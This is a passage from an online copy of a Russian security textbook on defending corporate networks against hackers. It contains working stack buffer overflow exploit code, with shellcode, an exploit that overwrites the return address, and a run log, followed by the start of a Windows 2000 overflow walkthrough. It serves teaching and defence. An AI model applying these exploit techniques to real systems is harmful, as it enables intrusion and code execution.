Чтение онлайн

на главную

Жанры

Защита от хакеров корпоративных сетей

авторов Коллектив

Шрифт:

popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX

Затем длина записываемой строки записывается в младший полубайт регистра %EDX:

movb $0x09, %dl

Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %EAX – %al:

movb $0x04, %al

Теперь операционная система выполняет системный вызов, номер которого записан в регистр %al.

int $0x80

В конце программы нужно выполнить системный вызов завершения работы <exit> или #syscall 1. Системному вызову exit в данном случае параметры не нужны, поэтому фрагмент кода выглядит следующим образом:

movb $0x1, %al

int $0x80

string:

call code

A call pushes the address of the next instruction onto the stack and then does a jmp

to the specified address. In this case the next instruction after <call code> is

actually the location of our string EXAMPLE. So by doing a jump and then a call, we

can get an address of the data in which we’re interested. So now we redirect the

execution back up to <code:>

.string \“EXAMPLE\n\”

“);

В

конечном счете программа переполнения буфера выглядит так:

/****** Shellcode dev with GCC *****/

#include <stdlib.h>

#include <stdio.h>

char shellcode[] =

“\xeb\x16” /* jmp string */

“\x31\xdb” /* xor %EBX, %EBX */

“\x31\xd2” /* xor %EDX, %EDX */

“\x31\xc0” /* xor %EAX, %EAX */

“\x59” /* pop %ECX */

“\xbb\x01\x00\x00\x00” /* mov $0x1,%EBX */

“\xb2\x09” /* mov $0x9,%dl */

“\xb0\x04” /* mov $0x04,%al */

“\xcd\x80” /* int $0x80 */

“\xb0\x01” /* mov $0x1, %al */

“\xcd\x80” /* int $0x80 */

“\xe8\xe5\xff\xff\xff” /* call code */

“EXAMPLE\n”

;

#define VULNAPP «./bof»

#define OFFSET 1500

unsigned long get_ESP(void)

{

__asm__(«movl %ESP,%EAX»);

}

main(int argc, char **argv)

{

unsigned long addr;

FILE *badfile;

char buffer[1024];

fprintf(stderr, «Using Offset: 0x%x\nShellcode Size:

%d\n»,addr,sizeof(shellcode));

addr = get_ESP+OFFSET;

/* Make exploit buffer */

memset(&buffer,0x41,1024);

buffer[12] = addr & 0x000000ff;

buffer[13] = (addr & 0x0000ff00) >> 8;

buffer[14] = (addr & 0x00ff0000) >> 16;

buffer[15] = (addr & 0xff000000) >> 24;

memcpy(&buffer[(sizeof(buffer) –

sizeof(shellcode))],shellcode,sizeof(shellcode));

/* put it in badfile */

badfile = fopen(“./badfile”,“w”);

fwrite(buffer,1024,1,badfile);

fclose(badfile);

}

Пример выполнения программы переполнения буфера представлен ниже:

sh-2.04# gcc sample4.c -o sample4

sh-2.04# gcc exploit.c -o exploit

sh-2.04# ./exploit

Using Offset: 0x8048591

Shellcode Size: 38

sh-2.04# od -t x2 badfile

0000000 4141 4141 4141 4141 4141 4141 fc04 bfff

#########

*

0001720 4141 4141 4141 4141 4141 16eb db31 d231

0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0

0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a

2000

sh-2.04# ./sample4

EXAMPLE

sh-2.04#

В первых двух строчках, начинающихся с gcc, содержится вызов компилятора для трансляции уязвимой программы sample4.c и программы переполнения буфера exploit.c. Программа переполнения буфера выводит смещение области размещения управляющего кода в стеке и размер программного кода полезной нагрузки. Попутно создается файл « badfile », к которому обращается уязвимая программа. Затем отображается дамп содержимого файла «badfile» (команда octal dump – od) в шестнадцатеричном формате. По умолчанию эта версия команды od не отображает повторяющиеся строчки, выводя вместо них строку, начинающуюся звездочкой «*». Поэтому в дампе не показаны повторяющиеся строчки со смещениями от 0000020 и до 0001720, заполненные командами 0x41 из последовательности команд inc %EAX. И наконец, приведен отчет работы программы sample4, которая выводит строку EXAMPLE. Если просмотреть исходный текст уязвимой программы, то можно заметить, что ничего подобного в ней запрограммировано не было. Этот вывод был запрограммирован в программе переполнения буфера. Из этого следует, что попытка воспользоваться переполнением буфера в своих целях оказалась успешной. Пример программы переполнения буфера для Windows NT

Рассмотрим возможность использования ошибки переполнения буфера в Windows NT. Большинство рассматриваемых в этой секции подходов применимо ко всем платформам Win32 (Win32 – платформа, поддерживающая Win32 API, например Intel Win32s, Windows NT, Windows 95, MIPS Windows NT, DEC Alpha Windows NT, Power PC Windows NT), но в силу различий между платформами не все способы применимы к каждой из них. Приведенная ниже программа была написана и оттестирована в Windows 2000 Service Pack 2. Она может работать и на других платформах, но из-за ее простоты и минимума функциональных возможностей, реализованных в ней, этого гарантировать нельзя. Пригодные для различных платформ способы переполнения буфера будут рассмотрены в этой главе позднее.

Известно большое количество способов переполнения буфера в Windows. Приведенная ниже программа демонстрирует лишь некоторые них. Для того чтобы программа получилась небольшой, рассмотрена реализация непереносимого переполнения буфера. Программа предназначена для выполнения в Windows 2000 Service Pack 2. Для выполнения на другой платформе потребуется повторная компиляция и, возможно, внесение в программу небольших изменений.

Программа выводит всплывающее окно – сообщение с текстом приветствия «HI».

На примере программы будет рассмотрено:

• создание загрузчика (средства доставки);

• построение программы переполнения буфера;

• нахождение точки передачи управления (точки перехода);

• запись программного кода полезной нагрузки.

Создание загрузчика. Загрузчик ориентирован на работу с файлами, поскольку было известно, что исследуемое переполнение буфера проявляется при чтении данных из файла в буфер. Было также известно, что уязвимая программа читает из файла двоичные данные. Поэтому можно было не беспокоиться о нулевых байтах в управляющем коде. В результате был написан простой загрузчик, который записывает управляющий код в файл. Уязвимая программа прочитает из файла программу переполнения буфера в буфер данных.

Средства записи в файл в Windows NT довольно просты. Для открытия файла, записи в него и закрытия файла в программе были использованы функции программного интерфейса приложения API CreateFile, WriteFile и CloseHandle. Буфер writeme предусмотрен

для хранения программы переполнения буфера.

Пример фрагмента программы для открытия файла и записи в него данных приведен ниже:

//open the file

file=CreateFile(“badfile”,GENERIC_ALL,0,NULL,OPEN_ALWAYS,

FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

Запись программы переполнения буфера. Из описания уязвимой к переполнению буфера программы ясно, что для подмены содержимого регистра EIP следует изменить в буфере первые 16 байт данных, где первые 8 байт содержат данные, последующие 4 байта – сохраненное в стеке содержимого регистра EBP и еще 4 байта – сохраненное значение регистра EIP. Другими словами, в буфер должно быть записано 12 байт информации. Было решено записывать шестнадцатеричный эквивалент двенадцати команд процессора Intel nop, то есть 12 байт 0x90. На первый взгляд это похоже на способ использования последовательности команд nop, но это не совсем так, поскольку на сей раз можно определить точный адрес перехода и, следовательно, нет необходимости выполнять ничего не делающие команды. В данном случае последовательность команд nop является заполнителем буфера, которым в стеке перезаписывается буфер данных и сохраненное содержимое регистра EBP. Для заполнения первых 12 байт буфера байтом 0x90 используется функция memset из библиотеки функций языка С.

memset(writeme,0x90,12); //set my local string to nops

Поиск точки перехода. После подготовки буфера следует найти подходящую точку перехода. Уже упоминалось о многочисленных способах загрузки в регистр EIP указателя на нужную программу. Обычно для этого в отладчике устанавливается точка прерывания перед выполнением команды ret и анализируется содержимое регистров. Например, содержимое регистров в точке прерывания может быть следующим:

EAX = 00000001 EBX = 7FFDF000

ECX = 00423AF8 EDX = 00000000

ESI = 00000000 EDI = 0012FF80

ESP = 0012FF30 EBP = 90909090

Перед командой ret регистр ESP указывает на область в стеке, расположенную следом за областью сохранения содержимого регистра EIP. После того как команда ret продвинет содержимое регистра ESP на 4, он станет указывать на область памяти, из которой этой же командой ret будет восстановлено значение регистра EIP. После восстановления EIP процессор выполнит команду, адрес которой совпадает с содержимым регистра EIP. Это означает, что если с помощью регистра ESP в EIP будет загружен нужный адрес, то с него продолжится выполнение программы. Отметим также, что после восстановления регистра EBP в эпилоге функции в регистр было загружено 4 байта заполнителя буфера 0x90.

Теперь найдем в выполнимом коде уязвимой программы команды, которые позволили бы с помощью регистра ESP загрузить нужный адрес в регистр EIP. Для этого воспользуемся программой findjmp. Для большей эффективности поиска потенциально уязвимых частей кода рекомендуется определить импортированные в программу динамически подключаемые библиотеки DLL и исследовать их выполнимый код. Для этого можно воспользоваться входящей в состав Visual Studio программой depends.exe или утилитой dumpbin.exe.

Воспользуемся более простой утилитой dumpbin, с помощью которой можно быстро получить всю интересующую нас информацию. Для этого в командной строке введем следующее:

dumpbin /imports samp4.exe

Microsoft (R) COFF Binary File Dumper Version 5.12.8078

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file samp4.exe

File Type: EXECUTABLE IMAGE

Section contains the following imports:

KERNEL32.dll

426148 Import Address Table

426028 Import Name Table

0 time date stamp

0 Index of first forwarder reference

26D SetHandleCount

174 GetVersion

7D ExitProcess

1B8 IsBadWritePtr

1B5 IsBadReadPtr

1A7 HeapValidate

11A GetLastError

1B CloseHandle

51 DebugBreak

152 GetStdHandle

2DF WriteFile

1AD InterlockedDecrement

1F5 OutputDebugStringA

13E GetProcAddress

1C2 LoadLibraryA

1B0 InterlockedIncrement

124 GetModuleFileNameA

218 ReadFile

29E TerminateProcess

F7 GetCurrentProcess

2AD UnhandledExceptionFilter

B2 FreeEnvironmentStringsA

B3 FreeEnvironmentStringsW

2D2 WideCharToMultiByte

106 GetEnvironmentStrings

108 GetEnvironmentStringsW

CA GetCommandLineA

115 GetFileType

150 GetStartupInfoA

19D HeapDestroy

19B HeapCreate

19F HeapFree

2BF VirtualFree

22F RtlUnwind

199 HeapAlloc

1A2 HeapReAlloc

2BB VirtualAlloc

27C SetStdHandle

AA FlushFileBuffers

241 SetConsoleCtrlHandler

26A SetFilePointer

34 CreateFileA

BF GetCPInfo

B9 GetACP

131 GetOEMCP

1E4 MultiByteToWideChar

153 GetStringTypeA

156 GetStringTypeW

261 SetEndOfFile

1BF LCMapStringA

1C0 LCMapStringW

Summary

3000 .data

1000 .idata

2000 .rdata

1000 .reloc

20000 .text

В результате просмотра отчета работы утилиты dumpbin.exe выясняется, что в уязвимую программу samp4.exe встроена единственная динамически подключаемая библиотека DLL – kernel32.dll. Несмотря на многочисленные ссылки в библиотеке kernel32.dll на другие библиотеки, пока для поиска подходящей точки перехода достаточно kernel32.dll.

Поиск выполним с помощью программы findjmp, которая найдет в двоичном коде динамически подключаемой библиотеки kernel32.dll потенциальные точки перехода с использованием регистра ESP. Для этого вызовем программу findjmp следующим образом:

Поделиться:
Популярные книги

Ненаглядная жена его светлости

Зика Натаэль
Любовные романы:
любовно-фантастические романы
6.23
рейтинг книги
Ненаглядная жена его светлости

Кодекс Крови. Книга IХ

Борзых М.
9. РОС: Кодекс Крови
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Кодекс Крови. Книга IХ

В теле пацана 6

Павлов Игорь Васильевич
6. Великое плато Вита
Фантастика:
фэнтези
попаданцы
5.00
рейтинг книги
В теле пацана 6

Кодекс Охотника. Книга XV

Винокуров Юрий
15. Кодекс Охотника
Фантастика:
попаданцы
аниме
5.00
рейтинг книги
Кодекс Охотника. Книга XV

Брак по-драконьи

Ардова Алиса
Фантастика:
фэнтези
8.60
рейтинг книги
Брак по-драконьи

Горькие ягодки

Вайз Мариэлла
Любовные романы:
современные любовные романы
7.44
рейтинг книги
Горькие ягодки

Идеальный мир для Лекаря 6

Сапфир Олег
6. Лекарь
Фантастика:
фэнтези
юмористическая фантастика
аниме
5.00
рейтинг книги
Идеальный мир для Лекаря 6

Эксперимент

Юнина Наталья
Любовные романы:
современные любовные романы
4.00
рейтинг книги
Эксперимент

В теле пацана

Павлов Игорь Васильевич
1. Великое плато Вита
Фантастика:
фэнтези
попаданцы
5.00
рейтинг книги
В теле пацана

Кодекс Крови. Книга III

Борзых М.
3. РОС: Кодекс Крови
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Кодекс Крови. Книга III

Шестое правило дворянина

Герда Александр
6. Истинный дворянин
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Шестое правило дворянина

Третий. Том 3

INDIGO
Вселенная EVE Online
Фантастика:
боевая фантастика
космическая фантастика
попаданцы
5.00
рейтинг книги
Третий. Том 3

Боги, пиво и дурак. Том 3

Горина Юлия Николаевна
3. Боги, пиво и дурак
Фантастика:
фэнтези
попаданцы
5.00
рейтинг книги
Боги, пиво и дурак. Том 3

Live-rpg. эволюция-4

Кронос Александр
4. Эволюция. Live-RPG
Фантастика:
боевая фантастика
7.92
рейтинг книги
Live-rpg. эволюция-4